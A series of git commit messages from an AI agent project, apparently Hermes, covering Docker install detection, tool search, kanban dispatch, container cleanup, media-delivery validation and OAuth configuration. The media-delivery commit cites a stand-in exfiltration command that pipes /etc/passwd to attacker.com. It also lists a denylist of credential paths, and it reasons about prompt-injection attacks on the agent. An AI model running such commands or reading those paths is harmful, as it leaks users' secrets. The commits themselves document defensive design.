detect_install_method() returned "docker" for any container (is_container()), before the .git check. Both supported installs already self-identify via the .install_method stamp read first: the curl installer (scripts/install.sh) git-clones and stamps "git"; the published nousresearch/hermes-agent image stamps "docker" at boot via docker/stage2-hook.sh. An unsupported manual install dropped into a container has no stamp, so the bare container check hijacked it to "docker" and 'hermes update' bailed with the docker-pull guidance. Drop the redundant is_container() -> docker fallback. Unstamped installs now fall through to the .git/pip checks like any off-path install; both supported paths are unaffected because the stamp wins first. Fixes #34397. |

feat(tui): nudge toward /agents dashboard when delegation starts
The TUI already ships a rich /agents spawn-tree dashboard (live tree,
timeline, per-child tokens/cost/files/tools, kill/pause), but nothing
surfaced it — during delegation the transcript stayed quiet and users
had to already know to type /agents.
Drop a one-time transient activity hint ("subagents working · /agents
to watch live") the first time a turn starts delegating, matching the
existing "· /logs to inspect" house style. Guards keep it unobtrusive:
- fires at most once per turn (resets on message.start)
- silent when the /agents overlay is already open
- gated by display.tui_agents_nudge (default true)
Hooked on subagent.start, not subagent.spawn_requested: the delegate
progress callback in tools/delegate_tool.py only relays start/complete
to the gateway and drops spawn_requested, so start is the first
delegation event the TUI reliably receives. spawn_requested is wired
too for the future case, guarded once-per-turn.
Adds the display.tui_agents_nudge config default and gatewayTypes entry.

fix(agent): register explainer config key + shorten footer prefix
Follow-up to the salvaged #34452 turn-completion explainer: - Register display.turn_completion_explainer: True in DEFAULT_CONFIG so the setting is discoverable, matching the file_mutation_verifier precedent. - Shorten the repeated footer prefix from 'Turn ended without a usable reply: ' to 'No reply: ' so the 10 reason variants don't all open with the same 8-word boilerplate. - Update the 7 assertions that referenced the old prefix. |

feat: embedder environment-hint hook for the system prompt (#34574)
* fix(security): block AWS SDK creds from subprocess env * fix(security): narrow Bedrock subprocess strip to inference bearer token only Scopes the AWS_SDK subprocess strip down from the full AWS credential chain to just AWS_BEARER_TOKEN_BEDROCK — the only Hermes-managed *inference* secret (analogous to OPENAI_API_KEY). The general AWS credential chain (AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN / AWS_PROFILE / config + role pointers) is intentionally left inheritable. Why: per SECURITY.md §3.2 the local terminal is the user's trusted operator shell. Hard-blocklisting the general chain would (a) regress *every* user who runs aws/terraform/cdk/boto3 in the agent terminal — not just Bedrock users, since PROVIDER_REGISTRY is iterated unconditionally at import — and (b) be unrecoverable, because env_passthrough.py refuses to re-allow anything in _HERMES_PROVIDER_ENV_BLOCKLIST (GHSA-rhgp-j443-p4rf). The narrow strip closes the reported leak (opencode enumerating the Bedrock catalog off the leaked bearer token) with no capability loss. Keeps zapabob's self-healing auth_type=="aws_sdk" mechanism so any future SDK-cred provider is covered automatically. Tests: bearer token stripped + general chain preserved (no-regression guard), on both the runtime strip path and the blocklist-membership path. Co-authored-by: zapabob <1920071390@campus.ouj.ac.jp> * feat: embedder environment-hint hook for the system prompt Adds HERMES_ENVIRONMENT_HINT env var (and config.yaml agent.environment_hint) so a host wrapping Hermes (sandbox runner, managed platform) can describe the runtime environment — proxy, credential handling, mount layout — in the system prompt's environment-hints block, without editing the identity slot (SOUL.md). Read once at prompt-build time, so it lands in the stable, cache-safe portion of the system prompt. Env var overrides the config key (build-time/container mechanism). Empty by default — no behavior change for existing installs. --------- Co-authored-by: zapabob <1920071390@campus.ouj.ac.jp> |

feat(tools): progressive tool disclosure for MCP and plugin tools
Adds Tool Search, a structured-tools progressive-disclosure layer that
replaces MCP and non-core plugin tools in the model-visible tools array
with three bridge tools (tool_search / tool_describe / tool_call) when
the deferrable surface would consume more than a configurable percentage
of the active model's context window. Core Hermes tools are never deferred.
Default mode is 'auto' with a 10% context threshold, so small toolsets
pay no overhead. Set tools.tool_search.enabled to 'on' to force or 'off'
to disable.
Design carefully reflects the OpenClaw production failure modes
documented in the openclaw-tool-search-report:
- Core tools never defer (toolsets._HERMES_CORE_TOOLS). Addresses the
'tools silently missing from isolated cron turns' regression class
(openclaw#84141) by construction: there is no code path that can
drop a core tool.
- Catalog is stateless across turns — rebuilt from the live tool-defs
list on every assembly. No session-keyed Map that can drift out of
sync with the registry.
- tool_call unwraps the bridge call before any hook fires, so plugin
pre/post hooks, guardrails, approval flows, and the activity feed
all see the underlying tool name, not the bridge (addresses
openclaw#85588 and the verbose-mode complaint on openclaw#79823).
- The unwrap happens in both the parallel and sequential paths of
agent/tool_executor.py and also in handle_function_call, so direct
callers (sandboxed code, eval harnesses) are covered too.
- Bridge tools cannot invoke each other (recursion guard) and cannot
invoke core tools (those must be called directly).
- Tools mode only — no JS-sandbox code-mode. Keeps the surface small.
- Token estimation via cheap char/4 heuristic; precision isn't needed
for the threshold decision.
Files:
- tools/tool_search.py — new module (BM25 retrieval, classification,
threshold gate, bridge dispatch, unwrap helper).
- tests/tools/test_tool_search.py — 35 tests including the OpenClaw
#84141 regression guard.
- model_tools.py — wires assembly into _compute_tool_definitions as the
final step, adds skip_tool_search_assembly kwarg so the bridge can
see the real catalog, dispatches the three bridge tools.
- agent/tool_executor.py — unwraps tool_call in both parallel and
sequential parsing loops so checkpointing, guardrails, plugin hooks,
and tool-progress callbacks all observe the underlying tool name.
- hermes_cli/config.py — DEFAULT_CONFIG['tools']['tool_search'] block.
- website/docs/user-guide/features/tool-search.md — user docs.
Validation:
- 35/35 new tests pass.
- Existing tool/registry/model_tools/config/coercion/executor tests
(82 + 74 + small adjacents) green.
- Live E2E: 20 fake MCP tools registered, get_tool_definitions returns
3 bridges, tool_search returns top 3 hits, tool_describe returns
full schema, tool_call dispatches to the real underlying handler
and the underlying result is what the model sees.
- Reserved-name recursion guard verified live.
- Core-tool refusal via tool_call verified live.

feat(prompt): universal task-completion guidance + local Python toolchain probe (#34340)
* fix(codex): surface error code in Responses 'failed' status errors
When a Codex Responses turn ends with status=failed, the response carries
the failure details under `response.error` as
`{code, message, param, ...}`. The previous extractor pulled only
`message`, so users seeing a rate-limit failure got a bare "Slow down"
string indistinguishable from a generic stream truncation; an
internal_error with empty message degraded to a dict dump
("{'code': 'internal_error', 'message': ''}").
Extract a `_format_responses_error()` helper that:
- prefixes `code` when both code and message are present
(e.g. 'rate_limit_exceeded: Slow down')
- falls back to the bare `code` when message is empty
- accepts both dict and attribute-style payloads (SDK and JSON-RPC paths)
- preserves the prior status-only fallback when no error payload exists
Apply the same helper at the sibling site in
`codex_app_server_session.run_turn()` so codex-CLI subprocess turn
failures get the same treatment.
Tests:
- 8 new unit tests for `_format_responses_error` covering both shapes,
empty/missing fields, non-string fields, and the status-only fallback.
- 2 regression tests on `_normalize_codex_response` for failed status
with and without a code, asserting the exact RuntimeError message.
- All 3603 tests in tests/agent/ pass.
Adapted from anomalyco/opencode#28757.
* feat(prompt): universal task-completion guidance + local Python toolchain probe
Two cross-model failure modes get a single-line answer in the cached
system prompt. Both gated by config (default on), both add zero overhead
when not needed, both verified via real AIAgent prompt builds.
## What changed
`TASK_COMPLETION_GUIDANCE` — short prompt block applied to ALL models.
Targets two failure modes observed on a real Sarasota real-estate build
task: (1) Opus stopped after writing an 85-byte stub and gave a prose
response with finish_reason=stop on call #3 of 90; (2) DeepSeek pushed
through a PEP-668 wall, then returned fabricated listings instead of
admitting the blocker. Both behaviors are model-family-agnostic, so the
guidance lives outside the existing tool_use_enforcement gate (~192
tokens, paid once per session via prefix cache).
`tools/env_probe.py` — local Python toolchain probe. Detects
python3/pip/uv/PEP-668 state and emits ONE short line in the system
prompt when something is non-default. Emits NOTHING when the env is
clean (zero token cost for normal users). Skipped entirely for remote
terminal backends (docker/modal/ssh) — they have their own probe.
Example output on a broken environment (the actual case):
Python toolchain: python3=3.11.15 (no pip module),
python=missing (use python3), pip→python3.12 (mismatch),
PEP 668=yes (use venv or uv).
## Config
Both flags live under `agent.` in config.yaml, default True:
agent:
task_completion_guidance: true # universal "finish the job" block
environment_probe: true # local Python toolchain hints
Neither addition required a `_config_version` bump — deep-merge fills
defaults in for existing user configs.

feat(kanban): default_assignee fallback + per-profile concurrency cap (#27145, #21582) (#34244)
Two related dispatcher behaviors that have been missing for a while. ## kanban.default_assignee (#27145) Reporter (@agarzon): dashboard creates a task without an assignee, task parks in 'ready' forever even though the operator's intent ('default') is perfectly clear. The dispatcher already had a 'skipped_unassigned' bucket but no fallback routing — users had to manually type 'default' in the assignee field every time. Behavior: when 'kanban.default_assignee' is set in config.yaml, the dispatcher applies that assignee to any unassigned ready task before deciding whether to spawn. The row is mutated (assignee column + an 'assigned' event with source='kanban.default_assignee' for the audit trail). Empty/whitespace config value = no fallback, preserving the existing skipped_unassigned behavior. Dry-run mode reports what WOULD happen via the new 'auto_assigned_default' bucket on DispatchResult, but does NOT mutate the DB — operators using 'hermes kanban dispatch --dry-run' see the routing decision before committing. ## kanban.max_in_progress_per_profile (#21582) Reporter (@edwardchenchen, @simlu, 4 reactions): fan-out workloads saturate one profile's local model / API quota / browser pool while other profiles sit idle. The existing global 'max_in_progress' caps total workers but doesn't balance across profiles. Behavior: when 'kanban.max_in_progress_per_profile' is set to a positive int, the dispatcher tracks per-assignee running counts (one query at tick start) and refuses to spawn for any assignee already at the cap. Tasks blocked this way go to a new 'skipped_per_profile_capped' bucket on DispatchResult as (task_id, assignee, current_running_count) tuples — NOT an operator-actionable failure, just 'try again next tick when the profile has capacity'. Pre-existing 'running' tasks count against the cap (verified via regression test). The cap respects dry_run mode by incrementing its in-memory counter on each would-be spawn so dry_run reports the same balanced subset that a real tick would. Invalid cap values (0, negative, non-int, None) are treated as 'no cap', preserving the existing behavior. Backward-compatible for installs that don't set the config. ## Surfaces - 'hermes kanban dispatch' CLI now prints 'Auto-assigned to kanban.default_assignee=X: ...' and 'Deferred (X at per-profile cap, N running): ...' lines, plus matching JSON keys in --json output. - Gateway dispatcher logs the configured values at startup ('default_assignee=X', 'max_in_progress_per_profile=N'). - 'kanban.max_in_progress_per_profile' added to DEFAULT_CONFIG with inline docs. ## Validation - tests/hermes_cli/test_kanban_default_assignee.py (6 cases): no-cap baseline, auto-assign + DB mutation, dry-run reports without mutating, whitespace treated as None, explicit assignees untouched, DispatchResult field schema. - tests/hermes_cli/test_kanban_per_profile_cap.py (9 cases including 4 parametrized): no-cap baseline, balanced 2-profile fan-out, pre-existing running counts against cap, invalid cap values (0/-1/'abc'/None), capped tasks dispatched on next tick after running task completes, DispatchResult field schema. - Broader kanban suite: 464/464 pass (was 449 baseline; +15 new regression tests across both features). ## Credit #27145 — Jimmy Johansson reported the dispatcher skipped-unassigned gap; @agarzon scoped the simpler 'honor kanban.default_assignee' fix that matches the existing config knob. #21582 — @edwardchenchen filed the per-profile cap ask after hitting model 429s on fan-out research projects; @simlu confirmed the same pain on local-model setups. |

fix(docker): startup orphan reaper for crashed-process containers
The cleanup-fix in the previous commit handles the graceful-exit leak: a
Hermes process that runs ``atexit`` will now actually wait on the docker
stop/rm worker thread, so containers either survive (persist mode) or are
fully removed (opt-out mode) by the time the interpreter exits.
But ``atexit`` doesn't fire on SIGKILL, OOM-kill, or terminal-window
close. Containers from those exits stay parked with no surviving Python
process to reuse or remove them, so they accumulate until the operator
intervenes with ``docker rm -f``. The cleanup-fix doesn't help this class
— there's no live cleanup() to fix.
This commit adds the safety net: a startup orphan reaper that runs once
per Hermes process and removes long-Exited hermes-labeled containers
that the prior commit couldn't reach.
Implementation:
* New ``reap_orphan_containers()`` in ``tools/environments/docker.py``.
Filters: ``label=hermes-agent=1`` + ``status=exited`` + (optional)
``label=hermes-profile=<current>``. Per-container ``docker inspect``
parses ``State.FinishedAt`` (with nanosecond-precision trimming for
Python's microsecond-bound ``fromisoformat``); containers older than
the threshold get ``docker rm -f``'d. The ``status=exited`` filter is
load-bearing — a running container may belong to a sibling Hermes
process whose reuse path will pick it up; killing it would crash the
sibling mid-command. Single-container failures are logged and the
sweep continues to the next candidate.
* New ``_maybe_reap_docker_orphans()`` helper in
``tools/terminal_tool.py``. Wired into ``_create_environment()`` for
``env_type == "docker"``. Gated by:
- ``terminal.docker_orphan_reaper: true`` (default; opt-out for
operators running multiple Hermes processes in the same profile
who don't trust the conservative defaults)
- ``_docker_orphan_reaper_ran`` module flag with double-checked
locking — parallel subagents and RL rollouts don't trigger N
concurrent docker ps storms
- Age threshold = ``2 × TERMINAL_LIFETIME_SECONDS`` with a 60s floor
(so ``TERMINAL_LIFETIME_SECONDS=0`` doesn't race the user's own
setup)
- Profile scoping — a research profile NEVER reaps the default
profile's stragglers
- Exception swallow — a janitor failure must never block container
creation
* New config ``terminal.docker_orphan_reaper`` wired through all four
config-bridge sites (cli.py, gateway/run.py, hermes_cli/config.py,
tests/conftest.py) and pinned by
``test_docker_orphan_reaper_is_bridged_everywhere``.
Coverage:
* 9 new unit tests in test_docker_environment.py — happy path, recent-
container sparing, profile scoping, unparseable-timestamp safety,
docker-ps-failure handling, partial-failure continuation, nanosecond
timestamp parsing, zero-value FinishedAt rejection.
* 6 new integration tests in test_docker_orphan_reaper_integration.py
— once-per-process gate, disable-flag respected, lifetime doubling
with 60s floor, current-profile filter wiring, exception swallow.
* 1 new bridge-invariant regression test.
Closes #20561 (combined with the two prior commits on this branch).

fix(docker): reuse containers across processes + fix cleanup leaks
The Docker backend docs claim "Single persistent container — ONE long- lived container shared across sessions, /new, /reset, and delegate_task subagents. Stopped/removed on shutdown." In practice the code only honored that contract within a single Python process via the in-memory \`_active_environments[task_id]\` cache. Every \`hermes chat\` invocation spawned a fresh \`hermes-<hex>\` container; older containers piled up in \`Exited\` state and accumulated until manual \`docker rm\` (issue #20561). Three root causes, all addressed by this commit: 1. No cross-process container discovery. 2. \`cleanup()\` used fire-and-forget \`subprocess.Popen("... &", shell=True)\` which raced with parent-process exit — when Python exited promptly the detached shell child got killed mid-\`docker stop\`, leaving stopped containers behind. 3. The \`docker rm\` step in cleanup was gated on \`not self._persistent\` (the bind-mount-persistence flag). Default config sets \`container_persistent: true\`, so the default happy path skipped \`rm\` entirely — even when the user explicitly didn't want cross-process reuse, containers leaked. Fix: * Add \`DockerEnvironment.__init__(persist_across_processes=True)\`. When true, init probes \`docker ps -a --filter label=hermes-agent=1 --filter label=hermes-task-id=<task> --filter label=hermes-profile=<profile>\` and reuses a matching container (running → attach; stopped → \`docker start\` → attach; \`docker start\` failure → fall through to a fresh \`docker run\`). Multiple matches prefer the running one, with the stragglers left for the orphan reaper (next commit) to clean up. * Rewrite \`cleanup()\`. Uses \`subprocess.run(..., timeout=30)\` on a daemon \`threading.Thread\`, not the racy \`Popen(... &)\`. The \`_persistent\` guard is dropped on the \`rm\` step — \`rm\` now runs whenever \`persist_across_processes\` is false, regardless of the bind-mount-persistence setting. The leak class is gone in all combinations. * Add \`wait_for_cleanup(timeout)\`. \`tools/terminal_tool.py\`'s atexit hook calls this on every active env, blocking up to 15s for the cleanup thread before interpreter exit. Without this, \`hermes /quit\` raced the daemon-thread teardown and dropped the stop/rm work. * New config \`terminal.docker_persist_across_processes\` (default \`true\` — restores the documented contract). Set \`false\` for hard per-process isolation. Wired through all four config-bridge sites (cli.py env_mappings, gateway/run.py _terminal_env_map, hermes_cli/config.py _config_to_env_sync, tests/conftest.py env-strip list); regression-pinned by \`test_docker_persist_across_processes_is_bridged_everywhere\` matching the existing pattern for docker_run_as_host_user / docker_env. Reuse intentionally does NOT compare image / mounts / resources — only the labels. Operators changing those settings should set \`docker_persist_across_processes: false\` (or \`docker rm -f\` the labeled container) to force a fresh start. This keeps the probe cheap and the failure mode obvious. Coverage: 12 new unit tests in tests/tools/test_docker_environment.py covering reuse paths (running, stopped, fallback, opt-out, duplicate preference) and cleanup behavior (persist-mode no-rm, opt-out always-rm, no-Popen, wait_for_cleanup semantics, partial-init safety). Plus one config-bridge regression pin. Refs #20561 |

fix(gateway): default media-delivery validation to denylist-only, restore .md delivery (#34022)
PR #29523 restricted MEDIA: paths and bare local paths in agent output to files under the Hermes media cache or an operator-allowlisted root, with a 10-minute recency window as a fallback. The intent was to defend against prompt-injection-driven exfiltration of host secrets, but in the default single-user setup the asymmetry doesn't earn its keep: we accept any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...) and the agent already has terminal access — anything that can convince it to emit a MEDIA: tag for /etc/passwd can equally convince it to `cat /etc/passwd | curl attacker.com`. Practical breakage: agents that produced an .md, .pdf, or other artifact more than ~10 minutes ago, or outside the cache allowlist, showed the user a raw filepath in chat instead of the file. Default flipped to denylist-only: • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run} • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud} • macOS Library/Keychains • $HERMES_HOME/{.env, auth.json, credentials} The legacy allowlist+recency-window behavior stays available via opt-in: `gateway.strict: true` in config.yaml (or `HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots where prompt injection from one user shouldn't be able to exfiltrate the host's secrets to that same user. • `gateway/platforms/base.py` — `validate_media_delivery_path()` short-circuits to "return resolved if not under denylist" when strict is off. Strict mode preserves the original cache-then- allowlist-then-recency logic. New `_media_delivery_strict_mode()` reader for `HERMES_MEDIA_DELIVERY_STRICT`. • `hermes_cli/config.py` — `gateway.strict: false` added to DEFAULT_CONFIG; existing keys documented as "only consulted in strict mode." No `_config_version` bump needed (deep-merge picks up the new default for old installs). • `gateway/run.py` — bridges `gateway.strict` → `HERMES_MEDIA_DELIVERY_STRICT` at startup. • `tools/send_message_tool.py` — schema description broadened back to plain "any local path." • Tests — existing strict-path tests pinned to STRICT=1 so they keep exercising the legacy behavior; new `TestMediaDeliveryDefaultMode` with 8 cases covering the public default (stale .md accepted, any extension delivers, credential paths still blocked, strict env-var aliases, filter E2E). Validation: - tests/gateway/test_platform_base.py: 119/119 pass - tests/gateway/test_tts_media_routing.py: 7/7 pass - tests/tools/test_send_message_tool.py: 121/121 pass - tests/hermes_cli/test_kanban_notify.py: 12/12 pass - tests/cron/test_scheduler.py: 120/120 pass - E2E via execute_code with real imports: • stale .md outside allowlist → accepted (default) • same path with STRICT=1 → rejected • $HOME/.ssh/id_rsa → rejected (default) • filter_local_delivery_paths([md, key]) → [md] only • gateway.strict in config.yaml → bridged to env (true=1, false=0) |

chore(web): remove web_crawl tool + provider crawl plumbing (#33824)
The web_crawl_tool() function was an orphan — no model schema registered it, no skill or CLI command called it, and the agent had no way to invoke it. PR #32608 proposed wiring it up as a model-callable tool; we've decided not to expose crawl as a separate capability since web_search + web_extract cover the use cases we want models to have. Removed: - tools/web_tools.py: web_crawl_tool() (~230 LOC) - plugins/web/firecrawl/provider.py: supports_crawl() + crawl() - plugins/web/tavily/provider.py: supports_crawl() + crawl() - plugins/web/xai/provider.py: supports_crawl() override - agent/web_search_provider.py: supports_crawl() + crawl() ABC methods - agent/web_search_registry.py: get_active_crawl_provider() + the 'crawl' branch in _resolve() - agent/display.py: web_crawl tool-progress rendering - hermes_cli/config.py: 'web_crawl' from TAVILY_API_KEY.tools - tools/website_policy.py: stale comment reference - Tests: removed TestWebCrawlTavily class, the two website-policy web_crawl tests, the searxng/ddgs/brave-free crawl-error tests, the integration test_web_crawl method, and the test_unconfigured_crawl_emits_top_level_error test. Trimmed the capability-flag parametrize list and the WebSearchProvider ABC conformance tests. - Docs: trimmed the Crawl column from capability tables in both EN and zh-Hans, updated the developer-guide ABC table. Net: 25 files, +115/-1067. Closes #33762 (the schema-text bug only existed if #32608 landed). Supersedes #32608. |

fix(docker): hermes update prints docker pull guidance instead of bogus git error
Inside the published Docker image, `hermes update` was hitting the
".git missing → reinstall via curl" fallback:
✗ Not a git repository. Please reinstall:
curl -fsSL https://raw.githubusercontent.com/.../install.sh | bash
That message is wrong on two counts:
1. It tells the user to run the host-side installer, which would
install a *new* Hermes on the host — not update the running
container.
2. It doesn't mention `docker pull` at all, leaving Docker users
to figure out the right action from scratch.
`hermes update --check` was worse: it bailed with "Not a git
repository — cannot check for updates." and nothing else.
Fix: detect the Docker install method (already stamped by
`docker/stage2-hook.sh` and surfaced by `detect_install_method()`)
in both update entry points and print a long-form message that
covers:
- The right command: `docker pull nousresearch/hermes-agent:latest`
- Restart guidance (`docker compose up -d --force-recreate` /
re-run `docker run`)
- How to verify the new version after restart
- Tag-pinning caveat (`:latest` doesn't move a pinned tag)
- Config persistence across upgrades (state under `HERMES_HOME` /
`/opt/data` is bind-mounted and survives)
- Fork escape hatch (build your own image with the repo's Dockerfile)
Exit code is 1 (matches `managed_error` semantic for "tried to
update but can't update this way").
Plumbing:
- hermes_cli/config.py: new `format_docker_update_message()` helper
sits next to the existing `_NIX_UPDATE_MSG` /
`format_managed_message()` family so the wording lives in one
place and both call sites (apply path + check path) consume it.
- hermes_cli/main.py:
* `cmd_update()`: bail right after the `is_managed()` gate, before
any of the apply-path branches.
* `_cmd_update_check()`: bail at the top of the function, before
the existing `method == "pip"` branch.
Neither path touches subprocess.run / git when method == "docker".
Coverage:
- 7 new tests in `tests/hermes_cli/test_cmd_update_docker.py`:
* `hermes update` in Docker → message + exit 1, no git calls
* `hermes update --check` (via cmd_update) → same
* `--yes` / `--force` don't bypass (intentional)
* `_cmd_update_check` called directly → bails too
* git/pip installs still take their normal paths (regression guards)
* `format_docker_update_message` content-lock test pinning the
five user-actionable bits the message must contain
- Existing test_cmd_update.py (21 tests) + test_managed_installs.py
(5 tests) still pass — no regression on the source-install path.
- Verified end-to-end in a real container: `docker run ... update`
and `docker run ... update --check` both render the message and
exit 1.

feat(image_gen): add Krea provider plugin (Krea 2 Medium + Large) (#33236)
* feat(image_gen): add Krea provider plugin (Krea 2 Medium + Large)
New built-in image_gen backend wrapping Krea's Krea 2 foundation
image model family. Auto-discovered like the other image_gen plugins
and appears in 'hermes tools' → Image Generation → Krea.
Krea's API is asynchronous — submit returns a job_id, poll /jobs/{id}
until terminal. The provider hides that behind the synchronous
ImageGenProvider.generate() contract: submit, poll every 2s with
light backoff (max 5s), 3-minute ceiling matching Krea's hosted-tool
timeout. Result URL is materialised to $HERMES_HOME/cache/images/
to avoid CDN-expiry 404s downstream (same fix as xAI #26942).
Models:
- krea-2-medium (default — Krea's 'start here' recommendation)
- krea-2-large
Aspect ratios map landscape→16:9, square→1:1, portrait→9:16.
Resolution: 1K (Krea's only current option).
Kwarg passthrough: seed, creativity (raw/low/medium/high), styles,
image_style_references (capped 10), moodboards (capped 1) — matches
Krea's per-request limits. Unknown kwargs are ignored.
Config knobs (config.yaml):
image_gen.provider: krea
image_gen.krea.model: krea-2-medium | krea-2-large
image_gen.krea.creativity: raw | low | medium | high
Env overrides: KREA_API_KEY (required), KREA_IMAGE_MODEL.
KREA_API_KEY is registered in OPTIONAL_ENV_VARS so 'hermes setup'
prompts for it.
31 new tests; image_gen suite + picker + tools_config: 211/211.
* fix(image_gen/krea): address review feedback
- Update KREA_API_KEY setup URL to the canonical token-creation page
(https://www.krea.ai/app/api/tokens). The previous URL returned 404.
- Fail fast on non-retryable HTTP statuses during poll. The previous
loop retried every HTTPError for the full 180s deadline, so an auth
(401), billing (402), forbidden (403), or not-found (404) response
would make image_generate hang for three minutes. Only retry
transient statuses (408/409/425/429/5xx); surface everything else
immediately.
- Add 5 tests covering fail-fast on 401/403/404 and retry on 429/503.
* fix(krea): point users at the real API token dashboard URL
Three call sites linked users to dashboard pages that don't exist:
- hermes_cli/config.py: https://www.krea.ai/app/api/tokens
- plugins/image_gen/krea/__init__.py get_setup_schema: https://www.krea.ai/api-keys
- plugins/image_gen/krea/__init__.py auth_required error: https://www.krea.ai/api-keys
Per Krea's own docs (https://docs.krea.ai/developers/api-keys-and-billing),
the real dashboard URL is https://www.krea.ai/settings/api-tokens. All three
sites now point there.

feat(dashboard-auth): HERMES_DASHBOARD_PUBLIC_URL / dashboard.public_url override
Operators behind reverse proxies that don't reliably forward X-Forwarded-Host / X-Forwarded-Proto / X-Forwarded-Prefix (manual nginx setups, on-prem ingresses, custom-domain Fly deploys with incomplete proxy chains) had no way to force the absolute base URL the OAuth callback redirects from. The dashboard would reconstruct the redirect_uri from request headers, the IDP would echo it back, and the user would land on the wrong host or wrong path — 404. Add `dashboard.public_url` to config.yaml with env override HERMES_DASHBOARD_PUBLIC_URL. When set, it is the complete authority — scheme + host + optional path prefix (e.g. https://example.com/hermes) — and becomes the base for the OAuth `redirect_uri`. X-Forwarded-Prefix is IGNORED on this code path because the operator has explicitly declared the public URL; we no longer need to guess from proxy headers, and stacking the prefix on top would double-prefix the common case where the prefix is already baked into public_url. When unset, the existing proxy_headers + X-Forwarded-Prefix reconstruction runs untouched. Existing Fly.io deploys continue to work without configuration — this is purely additive. Precedence mirrors dashboard.oauth.client_id: env (non-empty) > config.yaml > reconstructed from request Implementation: - hermes_cli/config.py: add dashboard.public_url to DEFAULT_CONFIG with a multi-paragraph doc comment explaining the use case, the X-Forwarded-Prefix interaction, and the validation rules. - hermes_cli/dashboard_auth/prefix.py: factored out the existing _REJECT_CHARS frozenset, added _normalise_public_url() validator (requires http/https scheme + non-empty host + no header-injection chars), _load_dashboard_section() loader (robust to load_config raising, non-dict shapes), and resolve_public_url() entry point with the env-overrides-config precedence. A malformed value silently falls through to ""; the caller treats "" as "reconstruct from request" so a typo never breaks the login flow. - hermes_cli/dashboard_auth/routes.py: rewrite _redirect_uri() docstring to spell out the three resolution tiers; add the public_url short-circuit before the existing X-Forwarded-Prefix splicing. Source-level comment notes that X-Forwarded-Prefix is intentionally ignored when public_url is set so a future reader doesn't try to "fix" the missing prefix layering. - cli-config.yaml.example: extend the existing dashboard section with a public_url block. - website/docs/user-guide/features/web-dashboard.md: new "Public URL override" section between the provider configuration and the OAuth flow walkthrough. Documents the env-vs-config table, the validation rules, and the `http://` `public_url` ↔ Secure cookie footgun. Test coverage — new TestPublicUrlOverride class (8 tests): - env var overrides request reconstruction (the primary motivating case) - config.yaml used when env unset - env wins over config (precedence pin) - public_url with a path prefix already baked in (the Q1-a case the user explicitly chose) - public_url suppresses X-Forwarded-Prefix layering (defends against the double-prefix bug) - trailing slash stripped from public_url (no //auth/callback) - malformed public_url falls through to reconstruction (six hostile inputs: javascript:, ftp:, missing scheme, missing host, quote chars, CRLF injection) - empty env string doesn't shadow config.yaml entry (CI / Fly provisioned-but-empty secret case) Mutation-tested: flipping the precedence in resolve_public_url() trips exactly test_env_overrides_config_public_url; weakening the validator (accept any scheme) trips exactly test_malformed_public_url_falls_through_to_reconstruction. Both other tests in each pair stay green, confirming the suite discriminates the specific regression each test pins. |

feat(dashboard-auth): config.yaml as canonical surface for dashboard.oauth
Per AGENTS.md, ~/.hermes/.env is reserved for API keys / secrets and
config.yaml is the surface for non-secret configuration. The Nous
Portal plugin previously read HERMES_DASHBOARD_OAUTH_CLIENT_ID and
HERMES_DASHBOARD_PORTAL_URL from the environment only, which forced
local-dev / on-prem operators to put non-secret per-instance
configuration in .env — violating the convention.
Add dashboard.oauth.{client_id,portal_url} to DEFAULT_CONFIG and have
the plugin resolve each setting with env-overrides-config precedence:
1. Env var when set to a non-empty value (Fly.io platform-secret
injection — what pushes per-deploy client_ids without baking
them into the image).
2. config.yaml entry (canonical surface for local dev / on-prem).
3. Plugin default (no provider registered when client_id is empty;
portal_url defaults to https://portal.nousresearch.com).
Empty env values are explicitly treated as unset so a provisioned-but-
not-populated Fly secret can't accidentally shadow a valid config.yaml
entry with an empty string — operators would otherwise lose the gate.
Implementation:
- hermes_cli/config.py: add dashboard.oauth.{client_id,portal_url}
block to DEFAULT_CONFIG with full doc comment explaining the
override precedence and Fly.io rationale.
- plugins/dashboard_auth/nous/__init__.py: add _load_config_oauth_section,
_resolve_client_id, _resolve_portal_url helpers; replace the two
direct os.environ.get() calls in register() with the resolvers.
Update the skip-reason string to mention BOTH surfaces so an
operator looking at the fail-closed bind error knows config.yaml
is a valid alternative to the env var.
- plugins/dashboard_auth/nous/plugin.yaml: update description to
name both surfaces. requires_env stays pointing at the env var
name — it's metadata-only (not used by the plugin loader for
gating) so this is documentation/UX, not enforcement.
- cli-config.yaml.example: append commented dashboard.oauth block
with the same override rationale operators see in code.
- website/docs/user-guide/features/web-dashboard.md: rewrite the
'Default provider: Nous Research' section to lead with config.yaml,
present env vars as operator overrides (Fly.io's primary path).
Updated the example fail-closed bind error to match the new
skip-reason text.
Test coverage — new TestConfigYamlSource class (8 tests) pinning
every tier of the precedence chain:
- config-yaml-only path registers correctly
- both config-yaml fields (client_id + portal_url) honoured
- env var overrides config for client_id (Fly.io critical path)
- env var overrides config for portal_url
- empty env string does NOT shadow config (CI/Fly edge case)
- neither source set → skip with reason mentioning BOTH surfaces
- load_config() raising falls through to env-only path (resilience)
- non-dict oauth section falls through cleanly (typo resilience)
Mutation-tested: flipping the precedence to config-wins-over-env trips
exactly test_env_overrides_config_client_id while the other 7 stay
green, confirming the suite discriminates the order, not just the
sources.
This closes the last item in Teknium's PR review (PR #30156).

remove Vercel AI Gateway and Vercel Sandbox (#33067)
